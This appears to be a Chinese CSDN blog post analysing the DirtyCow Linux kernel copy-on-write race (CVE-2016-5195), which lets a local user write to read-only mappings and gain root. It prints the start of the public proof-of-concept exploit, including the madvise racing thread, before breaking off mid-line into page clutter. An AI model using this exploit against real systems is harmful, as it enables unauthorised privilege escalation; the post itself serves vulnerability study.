DirtyCow漏洞分析

本文深入分析了Linux内核的 DirtyCow 漏洞(CVE-2016-5195),该漏洞允许本地低权限用户通过条件竞争,获取只读内存映射的写权限,从而提升到root权限。通过展示PoC代码,解释了如何利用madvise和mmap等函数触发这个权限提升漏洞,以及如何通过/proc/self/mem文件进行内存修改。
摘要由CSDN通过智能技术生成

.
  漏洞编号:CVE-2016-5195, 该漏洞是 Linux 内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞, 导致可以破坏私有只读内存映射。黑客可以在获取低权限的的本地用户后,利用此漏洞获取 其他只读内存映射的写权限,进一步获取 root 权限。 这是一个Linux kernel的本地权限提升漏洞。这里通过一个实验来逐步分析这个漏洞。
  先来看一段poc代码:
dirtycow.c

#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>

void *map;
int f;
struct stat st;
char *name;
 
void *madviseThread(void *arg)
{
  char *str;
  str=(char*)arg;
  int i,c=0;
  for(i=0;i<100000000;i++)
  {
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
    c+=madvise(map,100,MADV_DONTNEED);
  }
  print
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值